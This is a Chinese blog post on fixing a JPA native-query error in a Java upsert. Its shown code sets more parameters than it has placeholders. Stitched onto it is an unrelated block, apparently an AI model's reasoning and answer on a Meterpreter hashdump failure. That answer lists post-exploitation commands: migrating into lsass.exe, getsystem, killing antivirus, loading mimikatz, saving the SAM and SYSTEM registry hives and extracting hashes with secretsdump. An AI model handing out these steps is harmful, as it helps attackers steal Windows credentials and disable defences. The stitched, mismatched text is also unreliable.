Bug系列-7-incorrect_query_for_execute_update (There is no English translation for this message.)

优化代码,想解决Duplicate enty key和OptimistickLockOperation问题,
出现了这个问题:

thread-1] INFO  c.d.a.d.r.i.m.l.SyncLiveVideoVisitTimesByCityCodeMessageListener 44 - 资源按区县统计开始,资源类型是:LIVE_VIDEO,资源ID是:69052,访问者的IP为127.0.0.1
+++++++++++++++++++++++++++++dafda
2019-12-23 20:29:32.028 [] [pool-18-thread-1] ERROR c.d.f.m.provider.kafka.KafkaTopicMessageDispatcher 64 - message 5e00b210d08edbe4ae8742b0 is processed with error incorrect_query_for_execute_update (There is no English translation for this message.)
2019-12-23 20:29:32.028 [] [pool-18-thread-1] ERROR c.dzj.frw.mq.provider.kafka.MessageHandlerExecutor 64 - error to handle record with key=null in topic event-trace partition 0, cause:incorrect_query_for_execute_update (There is no English translation for this message.)
2019-12-23 20:29:32.028 [] [pool-18-thread-1] ERROR c.dzj.frw.mq.provider.kafka.MessageHandlerExecutor 69 - error message details
com.dzj.frw.mq.MQMessageException: java.lang.IllegalStateException: incorrect_query_for_execute_update (There is no English translation for this message.)
2019-12-23 20:27:19.374 [] [pool-18-thread-1] ERROR c.dzj.frw.mq.provider.kafka.MessageHandlerExecutor 69 - error message details
com.dzj.frw.mq.MQMessageException: java.lang.IllegalStateException: incorrect_query_for_execute_update (There is no English translation for this message.)
	at com.dzj.frw.mq.provider.kafka.KafkaTopicMessageDispatcher.dispatchMessage(KafkaTopicMessageDispatcher.java:144)
	at com.dzj.frw.mq.provider.kafka.MessageHandlerExecutor$MessageHandler.call(MessageHandlerExecutor.java:109)
	at com.dzj.frw.mq.provider.kafka.MessageHandlerExecutor$MessageHandler.call(MessageHandlerExecutor.java:86)
	at java.util.concurrent.FutureTask.run$$$capture(FutureTask.java:266)
	at java.util.concurrent.FutureTask.run(FutureTask.java)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.IllegalStateException: incorrect_query_for_execute_update (There is no English translation for this message.)
	at org.eclipse.persistence.internal.jpa.QueryImpl.executeUpdate(QueryImpl.java:286)
	at com.dzj.frw.bo.boql.BONativeQueryImpl.executeUpdate(BONativeQueryImpl.java:30)
	at com.dzj.analytic.domain.resourcevisit.repository.jpa.JpaResourceAnalysisWithRegionRepository.set(JpaResourceAnalysisWithRegionRepository.java:59)
	at com.dzj.analytic.domain.resourcevisit.servcie.ResourceAnalysisWithRegionService.increaseCountByRegion(ResourceAnalysisWithRegionService.java:70)
	at com.dzj.analytic.domain.resourcevisit.servcie.ResourceAnalysisWithRegionService$$FastClassBySpringCGLIB$$46f6918b.invoke(<generated>)
	at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204)

解决办法:

把Nativesql接口调用由:
createNativeQuery(String sqlString,Class resultClass) ==》
createNativeQuery(String sqlString) 即可。

因为我的SQL是这样的:

insert into rtc.resource_count_by_region (
  resource_id, resource_type, city_code, 
  latitude, longitude, total_count
) 
values 
  (
    '69052', 'LIVE_VIDEO', '310000', '31.235929', 
    '121.480539', '106'
  ) on duplicate key 
update 
  latitude = 
values 
  (latitude), 
  longitude = 
values 
  (longitude), 
  total_count = 
values 
  (total_count);

在代码中就是这样:


 @Override
    public ResourceAnalysisWithRegion set(ResourceAnalysisWithRegion analysis) {
        StringBuilder boql = new StringBuilder("insert into rtc.resource_count_by_region (resource_id,resource_type,city_code,latitude,longitude,total_count) values");
        boql.append(" (?,?,?,?,?,?) on duplicate key");
        boql.append(" update  total_count = values (total_count) ; ");
        BONativeQuery nativeQuery = getDataAccessProxy().createNativeQuery(boql.toString(), ResourceAnalysisWithRegion.class);
        nativeQuery.setParameter(1, analysis.getResourceId());
        nativeQuery.setParameter(2, analysis.getResourceType().name());
        nativeQuery.setParameter(3, analysis.getCityCode());
        nativeQuery.setParameter(4, analysis.getLatitude());
        nativeQuery.setParameter(5, analysis.getLongitude());
        nativeQuery.setParameter(6, analysis.getTotalCount());
        nativeQuery.setParameter(7, analysis.getTotalCount());
        nativeQuery.executeUpdate();
        return null;
    }

以上代码的createNativeSql()导致出错,因为insert into 没有返回值,但是用了一个类来映射返回东西,所以报了这个错。

修改后如下:


 StringBuilder boql = new StringBuilder("insert into rtc.resource_count_by_region (resource_id,resource_type,city_code,latitude,longitude,total_count) values");
        boql.append(" (?,?,?,?,?,?) on duplicate key");
        boql.append(" update  total_count = values (total_count) ; ");
        BONativeQuery nativeQuery = getDataAccessProxy().createNativeQuery(boql.toString());


搞定!

总结:解决问题方法多样,能解决问题就好。有的细节不必过于纠结。这个问题是想不出来的,要“猜”着尝试着解决。

<think>好的,用户遇到了Meterpreter中hashdump命令返回“参数错误”的问题,需要找到解决办法。首先,我得回忆一下hashdump的工作原理。hashdump通常用于提取Windows系统的SAM数据库中的密码哈希,但执行时依赖足够的权限和正确的系统状态。 可能的原因有几个方面。首先,权限问题。用户可能没有以SYSTEM权限运行Meterpreter会话。虽然用户可能认为自己有管理员权限,但Windows的UAC可能导致权限不足,需要先迁移到具有SYSTEM权限的进程,比如lsass.exe。 其次,目标系统可能打了补丁或进行了安全配置,比如KB2871997,这个补丁会限制本地管理员账户的哈希提取,除非账户设置了密码。这时候可能需要使用其他方法,比如注册表导出或卷影副本。 另外,杀毒软件或EDR可能会拦截Meterpreter的操作,导致失败。用户需要检查是否存在安全软件,并尝试绕过检测。 还有,SAM数据库可能被锁定或损坏,导致无法访问。这时可以尝试使用post/windows/gather/smart_hashdump模块,它更智能,支持多种提取方式,比如从注册表或卷影复制。 需要建议用户逐步排查:先检查权限,尝试迁移进程;使用smart_hashdump替代传统hashdump;关闭杀毒软件或使用免杀技术;最后考虑系统补丁的影响,可能需要使用其他账户或方法。 同时,生成相关问题时,要考虑用户可能遇到的扩展问题,比如权限提升方法、绕过补丁的技巧、其他哈希提取工具的比较,以及日志清除方法,帮助用户全面解决和深入理解问题。</think>### Meterpreter hashdump参数错误解决方案 当在Meterpreter会话中执行`hashdump`命令出现`The parameter is incorrect`错误时,通常由以下原因导致: **1. 权限不足** - 必须获得SYSTEM权限才能访问SAM数据库 - 解决方法: ```bash # 迁移到SYSTEM进程(如lsass.exe) migrate -N lsass.exe # 或使用getsytem提权 getsystem ``` 验证权限:执行`getuid`确认返回`NT AUTHORITY\SYSTEM` **2. 系统补丁限制** - KB2871997补丁会阻止本地管理员账户的哈希提取[^1] - 解决方案: ```bash # 使用域管理员账户 use post/windows/gather/smart_hashdump set DUMPSAM false run ``` **3. 安全软件拦截** - 常见于EDR/杀毒软件的内存保护机制 - 应对方法: ```bash # 先关闭安全软件 run killav # 或使用内存注入方式 load mimikatz ``` **4. SAM数据库锁定** - 使用注册表导出替代方案: ```bash reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save download sam.save download system.save # 本地使用secretsdump.py提取 secretsdump.py -sam sam.save -system system.save LOCAL ``` **5. 使用增强版哈希提取模块** - 推荐优先使用: ```bash use post/windows/gather/smart_hashdump set SESSION 1 run ``` 该模块支持: - 自动检测卷影副本 - 绕过常见补丁限制 - 支持DC同步(域控制器场景)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值